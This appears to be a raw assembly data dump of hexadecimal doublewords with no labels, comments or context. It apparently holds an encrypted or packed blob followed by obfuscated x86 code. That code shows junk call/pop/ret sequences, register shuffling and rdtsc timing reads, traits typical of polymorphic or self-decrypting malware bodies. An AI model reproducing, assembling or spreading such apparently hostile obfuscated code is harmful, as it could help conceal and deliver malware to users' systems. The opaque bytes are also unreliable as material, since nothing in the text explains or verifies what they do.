dd 0A8DA8A02h, 0F63D3CABh, 0F63D70A3h, 0F2191A3Eh, 32DA5F60h
dd 88E4422h, 63CCF4ADh, 0F11C14A9h, 7F16D63Dh, 0F219682Bh
dd 0F21AB72Dh, 797F1A22h, 0D79CCBDCh, 0A11F9902h, 1A4F4348h
dd 0F219A121h, 0ACDA8E02h, 0F63D1CABh, 0F63D70A3h, 0F2191A35h
dd 1DDA5B64h, 940ACED9h, 5271B8A9h, 4B9ED040h, 0CD7101FEh
dd 0E13D5CA3h, 98465D84h, 0F1F14922h, 0D2190D22h, 7B424579h
dd 731D677Eh, 0E91D8566h, 0B119D022h, 788CAB71h, 0E8305492h
dd 734AF1F5h, 59C9C7F0h, 47E6D81Eh, 0F4067153h, 1A4EA148h
dd 0F219D021h, 0ADDA3702h, 0F63D48ABh, 0F63D5EA3h, 0F2190D3Bh
dd 1FDAD165h, 3DB68D1Eh, 0F2104809h, 0FE08D022h, 0EEAEA8E3h
dd 94E30006h, 7794C9A9h, 0F43B74B1h, 1A498648h, 0F2194321h
dd 0AADAF902h, 0F63D94ABh, 0F63D2CA3h, 0F2193435h, 0F2DA4A62h
dd 0D9CF737h, 0A3940FF2h, 7B1F5C01h, 0ED0268A7h, 0D79C1624h
dd 0B51F7702h, 1A4E3448h, 0F2191A21h, 0ADDA5202h, 0F63DFAABh
dd 0F63D07A3h, 0F219A13Eh, 70DA8765h, 7EB5E0A4h, 0F64B477Eh
dd 0F21911CBh, 82CB5422h, 220E89D3h, 1442C401h, 0F2403CABh
dd 0F6F1D63Dh, 5B196822h, 0A2AEEAFFh, 8EEB5A98h, 0D65D8626h
dd 40190D26h, 0D65DCA04h, 0FD4BF126h, 0A24B8013h, 0A8286770h
dd 48283B7Ah, 0C071176Bh, 0AA435578h, 0A519EC7Ah, 0F21940CAh
dd 31468122h, 0D665597Dh, 0D65DE926h, 0F2192226h, 314E5D22h
dd 0FD8256A8h, 0F21980A8h, 2BACCA22h, 0F11FBE34h, 0ED1509B7h
dd 83AC9724h, 981F2B10h, 0F1F14822h, 0D2190D22h, 7B434578h
dd 731D6776h, 0EA1D8566h, 0B019D022h, 0B593AB70h, 1B1589D1h
dd 0F2191A27h, 3E39337Ch, 619C0BB9h, 981F615Bh, 0F1F1F322h
dd 0D219D022h, 7B43AB78h, 731D1076h, 0E41D3E66h, 0B0190D22h
dd 18514570h, 7784CA72h, 0D1FBE38h, 0A019BAF2h, 0F2196BCAh
dd 31431422h, 0D64D9378h, 0D65D8C26h, 0F2199C26h, 314B0122h
dd 99F0E8B7h, 94EE7DE8h, 7B49F29Dh, 0ED01D1A7h, 0A2197024h
dd 0F2190ECAh, 3141A622h, 0D65DCA7Ah, 0D65D2026h, 0F219CB26h
dd 31492822h, 708399DDh, 3D5911F0h, 0D1E0B8A9h, 77DF803Dh
dd 0F4066307h, 239CA865h, 1A1FCF3Dh, 0F2196826h, 73C52458h
dd 4449CE90h, 0D65D86ABh, 0F1958926h, 94194322h, 0F29270A9h
dd 0F63D94ABh, 27933E7Ah, 83ACCB7Bh, 981F0510h, 0F1F15F22h
dd 0D2198622h, 7B438078h, 731D8576h, 0EB1DF466h, 0B0196822h
dd 7527F770h, 72651C6Eh, 67DB8C44h, 339CB790h, 7F1F5C37h
dd 0D06032A7h, 0F892DF24h, 1B196822h, 0F2193427h, 20F8A970h
dd 1BC9F2CAh, 0F2198628h, 572D4692h, 0A5C5FFACh, 77903B1Dh
dd 0F4066803h, 1A483448h
dd 0F2191A21h, 0ABDA5402h, 0F63DCAABh, 0F63D07A3h, 0F219A134h
dd 0A8DA8163h, 77DFF40Bh, 0F4061407h, 0B971E665h, 928A3256h
dd 721641A9h, 0F2194320h, 7378F973h, 3A0BF426h, 3997FAFh
dd 0F20ADD56h, 0C1801A22h, 0CCB2C3A2h, 0DCF831C9h, 40677B1Dh
dd 69FE71F9h, 83AC2FCDh, 981F7710h, 0F1F16722h, 0D2191A22h
dd 7B42CE79h, 731DA27Eh, 0EA1D6766h, 0B119A122h, 50E11371h
dd 0E73868Eh, 8B8AB1AFh, 4F121C00h, 0F4060327h, 4F9256DDh
dd 0F406738Bh, 0F2AC24ABh, 0F273D63Dh, 0F21A8071h, 0A9393422h
dd 0AE9041E1h, 0B6980906h, 0F20E8206h, 0A15A4322h, 5286C2E1h
dd 98C92F8Bh, 0F1F13D22h, 0D2193422h, 7B44D97Fh, 731D294Eh
dd 0EE1DA266h, 0B7194322h, 0DD686277h, 43ED87B9h, 730C7AC0h
dd 0C75E49EBh, 0CBA4315Eh, 7B1F123Fh, 0ED0A27A7h, 0A4192924h
dd 0F219A2CAh, 3147F022h, 0D66DE17Ch, 0D65DB526h, 0F2190D26h
dd 314F4B22h, 1C04D5CBh, 0F21FC62Dh, 7F16A122h, 0F219D022h
dd 0E95CDDA9h, 7E7F323Dh, 981D3EFAh, 0F1F15822h, 0D2198622h
dd 7B44807Fh, 731D854Eh, 0E51DF466h, 0B7196822h, 0B71CF777h
dd 7C1648BDh, 0F2190D24h, 104E69A3h, 32130DF5h, 0F0E2252Dh
dd 4732D022h, 0F4064607h, 0D23CB1E4h, 98561C3Dh, 0F1F15B22h
dd 0D2198622h, 7B47807Ch, 731D8556h, 0EB1DF466h, 0B4196822h
dd 0D6F4F774h, 77C9B305h, 0EABC9013h, 6C71803Dh, 73846826h
dd 9A438516h, 7F92F289h, 0F406791Bh, 0C06881DDh, 797F1C3Dh
dd 0DB8C84DAh, 7F1F9933h, 0D060D0A7h, 0E3942A24h, 0D1FCF2Bh
dd 0D6D9EBF2h, 0E260B9ABh, 77901C3Dh, 0F40620C3h, 0F20A062Dh
dd 0FCF04322h, 0DC19A122h, 62764175h, 40E7B262h, 0B8B6D779h
dd 0F20AF2A9h, 6A0C0D22h, 983DACD8h, 95CE6527h, 40DB9CE9h
dd 0AFC90115h, 77923614h, 0F4062783h, 0E4089F0Bh, 6F920B3Dh
dd 0F4068697h, 0B0FBC244h, 2FE1F4Fh, 985AC104h, 0F1F13D22h
dd 0D2193422h, 7B44D97Fh, 731D294Eh, 0EE1DA266h, 0B7194322h
dd 933B6277h, 22593643h, 1B254330h, 0F2193430h, 44D920CEh
dd 0EDC0364Eh, 2CAB556Bh, 9D00E7CCh, 0E99247EAh, 1A4FD048h
dd 0F2196821h, 0ACDA6A02h, 0F63D6EABh, 0F63D49A3h, 0F2198635h
dd 44DA1564h, 44DA0ABBh, 2398B660h, 0E9922D87h, 1A4B3448h
dd 0F2191A21h, 0A8DA5702h, 0F63DD2ABh, 0F63D07A3h, 0F219A13Eh
dd 43DA8260h, 2788759Eh, 0D98F2929h, 0F27301A9h, 0F21AE573h
dd 0AB398622h, 0BE901AE1h, 0B698A506h, 0F20FD406h, 0A3586822h
dd 2CFAC8E1h, 0F273C211h, 0F21AE575h, 0AD398622h, 8E901CE1h
dd 0B698A506h, 0F205D406h, 0A55E6822h, 2DB931E1h, 0FC6F315Eh
dd 6F90A659h, 0F406A8EBh, 1A4C4348h, 0F219A121h, 0AFDA8D02h
dd 0F63D04ABh, 0F63D70A3h, 0F2191A35h, 0CFDA5867h, 94B6AAF0h
dd 3438F99Ch, 0ED3984A7h, 1AE19724h, 0F2196826h, 45C7E98Bh
dd 9249FB90h, 0F2191FCBh, 56504022h, 58F93150h, 70DE8463h
dd 266A2EDFh, 92E1559Bh, 94E1BF44h, 936B4898h, 0D65D8643h
dd 79190D26h, 0D65DCAD3h, 0AA471026h, 47E606A9h, 0F4065A53h
dd 1A493448h, 0F2191A21h, 0AADA5502h, 0F63DC2ABh, 0F63D07A3h
dd 0F219A135h, 8EDA8062h, 79AA1425h, 0ED1A31B7h, 619C9724h
dd 791F2F5Bh, 0ED1B0B9Fh, 3FACCA24h, 0D1FBE39h, 7B8166F2h
dd 0ED018DA7h, 0A3195E24h, 0F21919CAh, 31402D22h, 0D6550F7Bh
dd 0D65DC226h, 0F219B726h, 31489122h, 7B9945E5h, 0ED1B29AFh
dd 7A41B24h, 0B21F1232h, 0E0A354A3h, 0F2920AC4h, 1A4CA148h
dd 0F219D021h, 0AFDA3502h, 0F63D58ABh, 0F63D5EA3h, 0F2190D3Bh
dd 0A9DAD367h, 0EC95C52Ch, 0BDCF20B9h, 7952D59Ch, 0A5190222h
dd 0F21937CAh, 31463A22h, 0D665847Dh, 0D65D0726h, 0F2195A26h
dd 314EE622h, 0CE95DC64h, 7F92375Dh, 0F406399Fh, 0D99CA7A9h
dd 7F320B3Dh, 0F4068D43h, 0F08CC6ABh, 4F92A73Dh, 0F406FCBFh
dd 0F578D5ABh, 0E1F0323Dh, 0A3191A23h, 0ED2498A9h, 7943803Dh
dd 0ED11EA97h, 9D9C2C24h, 941FF290h, 0A200DF9Dh, 0F21927CAh
dd 0A860C922h, 0B0BDD43Ch, 0ECE70827h, 5E0A5277h, 62FC274Bh
dd 0F219D7CBh, 17D4A422h, 613B2AB7h, 0D61D937Bh, 0F316979Bh
dd 438C797Eh, 981F5C0Fh, 0F1F1F622h, 0D219D022h, 7B46AB7Dh
dd 731D105Eh, 0E91D3E66h, 0B5190D22h, 86454575h, 35CAC77h
dd 4D16CAE8h, 87845DF3h, 0FD1F4A90h, 0F21931A2h, 18987C22h
dd 7B49FF2Ah, 0F273A23Eh, 0F21AAB75h, 0AD39A122h, 8E908FE1h
dd 0B6986C06h, 0F20F3006h, 0A55E1A22h, 963277E1h, 62E70D44h
dd 94492A97h, 79896BA9h, 0ED14BD9Fh, 0E38C9724h, 981F2B28h
dd 0F1F14D22h, 0D2190D22h, 7B46457Dh, 731D675Eh, 0EA1D8566h
dd 0B519D022h, 33D0AB75h, 943BF739h, 5DFCECA3h, 0E390B0A9h
dd 7790803Dh, 0F4066EC3h, 1A4BA148h, 0F219D021h, 0A8DA3202h
dd 0F63D60ABh, 0F63D5EA3h, 0F2190D3Ah, 0A4DAD460h, 687C1Fh
dd 0C2502C21h, 77DFD63Dh, 0F4064807h, 0A0195E71h, 0F21919CAh
dd 31432D22h, 0D64D0F78h, 0D65DC226h, 0F219B926h, 314B9222h
dd 2DFFDE18h, 0B3FBB580h, 9A253F05h, 0C009BAB8h, 0F698FB97h
dd 84D5A606h, 6F90595Ah, 0F406D673h, 0C068DDDDh, 0F273323Dh
dd 0F21AF272h, 0AA390D22h, 0B690DEE1h, 0B6984706h, 0F20CA506h
dd 0A259D022h, 0FD752EE1h, 6730C295h, 0F4061893h, 8B8A88AFh
dd 0F2738000h, 0F21AAB71h, 0A939A122h, 0AE908BE1h, 0B6986C06h
dd 0F20D3006h, 0A15A1A22h, 94ECF2E1h, 0D6D319Bh, 0A41929F2h
dd 0F219A2CAh, 3147F022h, 0D66DE17Ch, 0D65DB526h, 0F2190726h
dd 314F4B22h, 0B9DD2D9Eh, 67CB9F49h, 7416A487h, 0F219D026h
dd 20CED144h, 0DD4CB1ABh, 487F1C3Dh, 389290FBh, 0D23C03E4h
dd 985E453Dh, 0F1F1F422h, 0D219D022h, 7B44AB7Fh, 731D104Eh
dd 0E91D3E66h, 0B7190D22h, 54E24577h, 0AEDA3E01h, 7F16217Ah
dd 0F219D033h, 0F21964CBh, 97CEF022h, 73D67F84h, 36416D9Bh
dd 0F2126E84h, 0D2E04322h, 0C810FED3h, 699FF759h, 63ACE15Eh
dd 0AC1F2B3Ah, 0F2191ECAh, 800C9D22h, 7CA0D683h, 790B239Dh
dd 1A1D8566h, 0F219D029h, 0ADFF2CBh, 0EC231EDAh, 1A237C1Bh
dd 0F2190D29h, 0D4DBEF72h, 0AF2B0DB4h, 1B3388F2h, 0F219D029h
dd 5143B451h, 0A81894E5h, 0ADFAB974h, 9219867Dh, 2A92E074h
dd 0F20AAB79h, 3752A122h, 98B7355h, 3095C2EFh, 502DF809h
dd 9A1027B2h, 0AD786D4Fh, 0D65D0F43h, 0F211AA26h, 48DA122h
dd 0E51D4A55h, 9841AE4Dh, 0F1F16522h, 0D2191A22h, 7B40CE7Bh
dd 731DA26Eh, 0E61D6766h, 0B319A122h, 946B1373h, 4B39AEA3h
dd 0C06881DDh, 0F2731C3Dh, 0F21AE577h, 0AF398622h, 9E901EE1h
dd 0B698A506h, 0F20FD406h, 0A75C6822h, 91E9A6E1h, 8B8A9FAFh
dd 797F0B00h, 1BC979DCh, 0F2194324h, 1E1D98BEh, 7790D511h
dd 0F4067E03h, 1A4B3448h, 0F2191A21h, 0A8DA5702h, 0F63DD2ABh
dd 0F63D07A3h, 0F219A13Fh, 27DA8260h, 933BFC4Dh, 2259D243h
dd 0D79CDC30h, 0A11F1202h, 1A4F8648h, 0F2194321h, 0ACDAFF02h
dd 0F63DA4ABh, 0F63D2CA3h, 0F2193437h, 0F5DA4C64h, 0DBA36569h
dd 0C4AB336Fh, 0D83D77A3h, 9835D554h, 0F1F18022h, 0D2196822h
dd 7B41F77Ah, 731D3E66h, 0EA1D2966h, 0B2198622h, 0CDF48072h
dd 0D4E5203h, 0ED2BA197h, 0A3190224h, 0F21937CAh, 31403A22h
dd 0D655847Bh, 0D65D0726h, 0F2195E26h, 3148E022h, 0E2ED68E1h
dd 87EAF7CEh, 797F9522h
dd 0F99E15D9h, 0FD190D22h, 0F21983A7h, 29DDFA22h, 4F90A06Eh
dd 0F406D23Bh, 8B8AEDAFh, 5923200h, 0F273CADDh, 0F21AE570h
dd 0A8398622h, 0A69019E1h, 0B698A506h, 0F202D406h, 0A05B6822h
dd 26DCA2E1h, 928CE5D9h, 9DA66BC6h, 0AB9C0FCDh, 981F5C0Fh
dd 0F1F1F222h, 0D219D022h, 7B42AB79h, 731D107Eh, 0E51D3E66h
dd 0B1190D22h, 0D44B4571h, 77DF1A44h, 0F4068107h, 0A719BA75h
dd 0F2196BCAh, 31441422h, 0D675937Fh, 0D65D8C26h, 0F2199A26h
dd 314C0622h, 0BF2BFF2Eh, 0DEC4AFE8h, 7F9239E2h, 0F406105Fh
dd 5927C7Bh, 0CD4DB344h, 0F21982CAh, 0F64B4522h, 744F1BB2h
dd 0A449AF1Ah, 7943A894h, 791D1066h, 0A11991F1h, 0AC495F72h
dd 9379B72Dh, 7B461B78h, 941D8566h, 0AA84D89Ch, 1A4B6848h
dd 0F2193421h, 0A8DA4002h, 0F63D59ABh, 0F63DC2A3h, 0F2194338h
dd 99DAF360h, 0C18D5E19h, 0DE1FC0Fh, 0ED2B4597h, 27A49324h
dd 7F1F1236h, 0D06015A7h, 0A0192924h, 0F219A2CAh, 3143F022h
dd 0D64DE178h, 0D65DB526h, 0F2190F26h, 314B4F22h, 22E6E2EFh
dd 1A4A4348h, 0F219A121h, 0A9DA8B02h, 0F63D34ABh, 0F63D70A3h
dd 0F2191A38h, 0DA5E61h, 0D32E84DDh, 4792C9D9h, 0F4069127h
dd 0C0746523h, 77906E3Dh, 0F40628CFh, 0FBF88FA9h, 77DF0B3Dh
dd 0F406A607h, 0A4192961h, 0F219A2CAh, 3147F022h, 0D66DE17Ch
dd 0D65DB526h, 0F2190026h, 314F4B22h, 5B833C32h, 94812FCFh
dd 0F67E47A3h, 0FC6465A9h, 0BB716E3Dh, 1AA9D51Fh, 0F2191A27h
dd 3BAD4524h, 797FE659h, 0F209AADBh, 0FFE4A122h, 4799F000h
dd 420D675Ah, 740B79A8h, 0AD788FBAh, 933D39A3h, 9415F76Fh
dd 5E04A2A3h, 0A72F7EA3h, 47E6D9E6h, 0F4065A53h, 1A4E3448h
dd 0F2191A21h, 0ADDA5202h, 0F63DFAABh, 0F63D07A3h, 0F219A138h
dd 0C2DA8765h, 7E006BACh, 0FBF11839h, 0C0191A22h, 23AD5DF9h
dd 5DBCF195h, 0DEE8D6A9h, 7F40A73Dh, 0D06043A7h, 0A1190224h
dd 0F21937CAh, 31423A22h, 0D6458479h, 0D65D0726h, 0F2195926h
dd 314AE222h, 0C4252526h, 1A287DD3h, 0F219342Ah, 0C835F5A4h
dd 663CF122h, 0FF640323h, 0A46453Dh, 737971DDh, 942FEBF4h
dd 7790097Eh, 0F4061F2Fh, 0E6F1D5A9h, 4D190D22h, 10925333h
dd 3CF72B16h, 6209690Bh, 2DC75559h, 0ADA2BF08h, 407CB1AFh
dd 4F281C00h, 0F4061FFBh, 0A2EB0DB2h, 4C1FFC44h, 67E658B2h
dd 0F406FD93h, 0F273B0A9h, 0F21ADC72h, 0AA391A22h, 0B69055E1h
dd 0B6988206h, 0F2014706h, 0A259A122h, 0A900E8E1h, 77940EA2h
dd 0F43B867Bh, 1A4B1A48h, 0F2190D21h, 0A8DADC02h, 0F63D17ABh
dd 0F63DE5A3h, 0F219D03Bh, 0A8DA3A60h, 7CD1333Ah, 338C93A9h
dd 621F1209h, 0F2086E72h, 757F4322h, 39889AC6h, 57872015h
dd 0E445A9F2h, 922B5604h, 0AC78C5A9h, 0A11967B2h, 0F21985CAh
dd 31426322h, 0D6452879h, 0D65D5126h, 0F2197C26h, 314A7722h
dd 0D7AC914Bh, 791F122Ah, 39ACD6DBh, 1B3D5FABh, 0F219A12Eh
dd 57600491h, 0D67042D3h, 0E245CF01h, 0C7C79B44h, 0E38CF239h
dd 981F9928h, 0F1F11122h, 0D219A122h, 7B431378h, 731D4C76h
dd 0EA1D1066h, 0B0191A22h, 0D023CE70h, 1AEAB375h, 0F2194336h
dd 6388E0FCh, 6E599263h, 0ED6A9FACh, 0D71ACE81h, 5EE4E253h
dd 0E4C098ABh, 0A43803Dh, 0C36CC6ABh, 2C98A73Dh, 9C747F07h
dd 0D578E513h, 77DE323Dh, 0F4061FC3h, 0F2190D2Dh, 1A4C8648h
dd 0F2194321h, 0AFDAFC02h, 0F63DBCABh, 0F63D2CA3h, 0F2193439h
dd 0C8DA4F67h, 2F6C2355h, 921E2538h, 79CEFC2Dh, 0ED1498BFh
dd 0FCF0B124h, 82196822h, 0D6EF77ACh, 28D5AB54h, 90C7D340h
dd 878C79D8h, 721F5C13h, 779026F0h, 0F406FE1Bh, 1A496848h
dd 0F2193421h, 0AADA4202h, 0F63D49ABh, 0F63DC2A3h, 0F2194334h
dd 91DAF162h, 4792449Ah, 0F406619Bh, 0F21BB12Dh, 8921A22h
dd 0E99088A9h, 6F94803Dh, 0F43B85E4h, 7F18E2ABh, 0ED07F19Fh
dd 52ACE524h, 4B1F16E4h, 0F2191A11h, 0C1F2A9D1h, 0F219869Ah
dd 86D94822h, 0F2016321h, 0FE3D94A9h, 0F2198071h, 73423422h
dd 0F2190DE1h, 0D6458422h, 0D65D0F32h, 0C5A11836h, 0D193F82h
dd 0D65D5BC2h, 98F99726h, 0F1F16522h, 0D2191A22h, 7B40CE7Bh
dd 731DA26Eh, 0E51D6766h, 0B319A122h, 7E731373h, 797F1E20h
dd 4F9255EAh, 0F40600A7h, 4040B0AFh, 7F948000h, 0F43B843Ah
dd 0D4B2949Ah, 0C79CE3BAh, 0D91F773Bh, 361A79EDh, 5AF21943h
dd 0AD4902B8h, 8BD34CBEh, 0EA487732h, 6BAB567Fh, 2DDDB25Fh
dd 0F305E983h, 8BD98BA4h, 1F1EA9B5h, 1890F06h, 0FC000000h
dd 0B8E9h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1504h, 0C3504000h, 0E86068ECh, 0Ch, 2CF14F73h, 27793654h
dd 9C52DBE4h, 42F18166h, 80605ABFh, 0DE8AEEDh, 0B000000h
dd 3CAB9466h, 0A378596Ch, 20908F9Dh, 61616159h, 11E9h
dd 0FD6DC300h, 0A89FDB4Fh, 0F112060Ah, 0CCC0F0B9h, 0F602EBBh
dd 58Ah, 647DB900h, 0C36110D5h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 19h, 0C8C35747h, 616303B8h, 0CE86010h
dd 11000000h, 5E3F64EDh, 39C177C3h, 602B6777h, 60615961h
dd 4AB86650h, 0C1815BD7h, 48AC9247h, 6AC08B61h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
dd 0E94BC357h, 0Eh, 5048C203h, 71CB0BFBh, 8A95C9A6h, 0BD8360B0h
dd 61F06C1h, 83097500h, 1F1F51BDh, 19740006h, 0C08B5350h
dd 4B9B8h, 95858900h, 8D061F13h, 21B00B9Dh, 5BD3FF06h
dd 51BD8358h, 61F1Fh, 53501774h, 4B9B8h, 95858900h, 8D061F13h
dd 21ACAC9Dh, 5BD3FF06h, 57006A58h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1B04h, 0C3574700h, 0BC8C8CFCh, 803AAC2Eh
dd 5E9h, 0CD974B00h, 6A368Eh, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1B0424h, 50400000h, 0C279ABC3h, 0D0307C16h
dd 850FF522h, 8, 0F7D18060h, 61D08B66h, 9E9C08Bh, 76000000h
dd 26B26B71h, 4C47CD46h, 6AC18B40h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 15042444h, 40000000h, 0D6A8C350h
dd 4EBF18Bh, 0
dd 269B589h, 0F88B061Fh, 19BD858Dh, 5090061Fh, 50CB8A60h
dd 60310F52h, 61585A61h, 51006A90h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1804h, 0C3514100h, 5B1C1C4Fh, 880F6025h
dd 5, 0ABCA8166h, 0C99D8BE2h, 61061F0Ch, 6A006Ah, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
dd 0E53097C3h, 8B66CA9Ah, 0F18B66FAh, 858D006Ah, 622CA52h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0AEC35141h
dd 5C03A336h, 91E9B98h, 1F02CDB5h, 9830F06h, 0F000000h
dd 384h, 0F0BF0F00h, 905C083h, 1F00C1B5h, 7FBE9006h, 50616A70h
dd 50565250h, 5A310F52h, 310F5F58h, 6A00FCBFh, 90585A35h
dd 7B99D89h, 6A061Fh, 2D998589h, 6A061Fh, 0E852006Ah, 3
dd 5AC35A20h, 4245489h, 4244481h, 14h, 14C35242h, 2FCDB58Bh
dd 95FF061Fh, 61F0161h, 0B1F29D8Dh, 0DE90622h, 0F3000000h
dd 8B2A0B0Ch, 778480C9h, 0C17F1EC8h, 9529D3FFh, 61F1681h
dd 102985FFh, 0BE66061Fh, 52E91D5Ah, 0E8000006h, 0
dd 5CED815Dh, 6A0622CAh, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1A042444h, 40000000h, 2B33C350h, 94DE389Fh
dd 0DE9C3h, 0A4E90000h, 63188692h, 0DC4C2564h, 1F8A8FDh
dd 1F1D05B5h, 0E1BD8106h, 0D0061F05h, 0F000007h, 0C286h
dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h
dd 0C3554500h, 60AAC9A5h, 2C299D8Bh, 6A061Fh, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 180424h, 56460000h, 0D0B85FC3h
dd 0E38132FAh, 100h, 126D8501h, 0B589061Fh, 61F1019h, 850FDB0Bh
dd 40h, 1285BD8Bh, 0BD83061Fh, 622C910h, 13840F00h, 66000000h
dd 0E9EF5DBFh, 36h, 28C0F56h, 53000000h, 85C75E5Fh, 622C910h
dd 1, 0C98520BEh, 18E978h, 0BD8B0000h, 61F1F29h, 0C91085C7h
dd 622h, 89510000h, 1F16CDB5h, 9D8D5F06h, 61F2C29h, 3077BE66h
dd 0FEFF2381h, 66F5FFFFh, 9D89DB8Ch, 61F18D1h, 0F04C3F6h
dd 8D84h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1504h, 0C3504000h, 0B58B9E19h, 61F1ED5h, 317595FFh
dd 6A061Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
dd 52420000h, 206B6FC3h, 2ACA5673h, 9E8h, 0BB147800h, 2D81FB16h
dd 860F814Ah, 5, 0B1C68166h, 50905E06h, 13E8h, 2AA9D100h
dd 3BFA1F1h, 0DAD3D158h, 3C61978Fh, 4ABAE062h, 7E9905Eh
dd 0D000000h, 3FEB2641h, 9AE9F75Fh, 6A000003h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
dd 429BC357h, 31BE0F22h, 1F0DF5BDh, 0E600B006h, 51006A70h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h
dd 0AC7ACBBEh, 330E5E6h, 0E081605Bh, 3A52A11Bh, 10E9h
dd 1D11B700h, 33FBD894h, 3BE15A6Ah, 0D8BCD6FCh, 71E46113h
dd 2B44E781h, 0B60F63FCh, 758D09D8h, 81061F24h, 0CE326CEFh
dd 6BA60h, 85090000h, 61F006Dh, 8952C38Bh, 1F2F058Dh, 0E8C15E06h
dd 0BE804h, 4BA80000h, 1C72A6Fh, 4865637h, 0CF8166F3h
dd 665FAE30h, 0BE66E2F7h, 0D82BD576h, 0DB59D89h, 5093061Fh
dd 13E9h, 0E3AFD200h, 6C201EA3h, 0AF1EB8FDh, 0A7BA275Fh
dd 0FFA4F41Ch, 0F08B6693h, 0E1B5FFF8h, 6A061F05h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
dd 59F5C352h, 56B66A17h, 95FFE2B7h, 61F1D45h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0D0C35242h, 8BDAD1E1h
dd 1F07F9BDh, 0E8A0F06h, 60000000h, 13CD9D89h, 9529061Fh
dd 61F1119h, 6600B061h, 0E68158BEh, 0DF816670h, 71E4F88Dh
dd 0EBDB58Bh, 613C061Fh, 237830Fh, 6A0000h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 180424h, 52420000h, 48D731C3h
dd 5E9D9AFh, 7E000000h, 7AA2061Ah, 6AD8B60Fh, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
dd 1D79C355h, 3C9B46CCh, 6654967Ch, 0C4E1C681h, 6BAh, 85BD0300h
dd 8B061F2Bh, 55006AC3h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1A04h, 0C3554500h, 210EFC53h, 66D20C6Ch, 0C114F9BEh
dd 0B70F04E8h, 0E2F766F9h, 0F6816650h, 2B5FCFE9h, 52006AD8h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
dd 0DE640684h, 409ABBE8h, 58F0BF0Fh, 6BEF8166h, 0FD82B1Eh
dd 16888h, 7DB58B00h, 0B9061F26h, 7, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 16h, 8BC35545h, 0C183A889h, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h
dd 0DB5D7F4Ah, 0BF66C9F5h, 0D93B5B69h, 10F860Fh, 81660000h
dd 661295EEh, 0C1F6D98Ch, 0F0840F04h, 0E8000000h, 14h
dd 0B0121F9Ch, 1B0AA7D8h, 0A195F6B2h, 0FECFBC3Bh, 16C14A6Dh
dd 14E9h, 1C3DB500h, 0E23225AAh, 867EA415h, 5FAE007Ch
dd 0A6CE15ACh, 95FF5FD8h, 61F3175h, 6890Fh, 0B58B0000h
dd 61F1561h, 50006A5Bh, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1B04h, 0C3504000h, 0FA1D8745h, 0DD0DA6FDh, 6AC32Bh
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
dd 7086BAC3h, 6F832585h, 16850Fh, 11E90000h, 32000000h
dd 0ED32BEF3h, 85D22C47h, 0ADE321CFh, 0F5DD1EF6h, 8343Dh
dd 3C860F00h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 15042444h, 42000000h, 141DC352h, 28E9h, 0EE800h
dd 0FF820000h, 0FAE55012h, 5ED4D2F5h, 608722CAh, 12D9B52Bh
dd 8B5F061Fh, 68D0FC0h, 33000000h, 1F0601BDh, 8BC38B06h
dd 5E9D8h, 0A8AB0000h, 0C782C006h, 1F200985h, 8647DF06h
dd 56006A74h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h
dd 0C3564600h, 0C59D2984h, 8B061F0Ah, 819589C0h, 81061F1Ah
dd 1F05E1BDh, 7D006h, 2A850F00h, 6A000000h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 7A7CC353h
dd 0E185FF57h, 89061F05h, 1F1F9195h, 0E1B5FF06h, 6A061F05h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h
dd 43000000h, 41C1C353h, 18C82192h, 7D42EC05h, 68E0Fh
dd 0BD8B0000h, 61F32A1h, 1D4595FFh, 9D29061Fh, 61F085Dh
dd 5678B890h, 9D311234h, 61F2F21h, 0D06D9D8Dh, 0D4E90622h
dd 6AFFFFF9h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1B042444h, 45000000h, 0FA75C355h, 6104DCE5h, 8B6617F3h
dd 6AC18BF7h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 18042444h, 46000000h, 2713C356h, 0FB2FD6Eh, 1987h, 0DE800h
dd 0CF5C0000h, 49F7B41Eh, 78E6C7Bh, 8B47B4AEh, 1F1FD9BDh
dd 4EB5E06h, 0
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 12C35141h
dd 60357B60h, 1D9D9523h, 0D181061Fh, 7BFD67FBh, 0BD858D61h
dd 90061F19h, 7E8h, 0D8721A00h, 0CB4E6179h, 2BC4BE66h
dd 0EE8505Fh, 4000000h, 277F148Ch, 4AEF949Ah, 191996CBh
dd 0FE84Ah, 0B7A30000h, 9A06C209h, 993FD52Dh, 0C8C7CB2h
dd 5EF38BF2h, 6A905Fh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
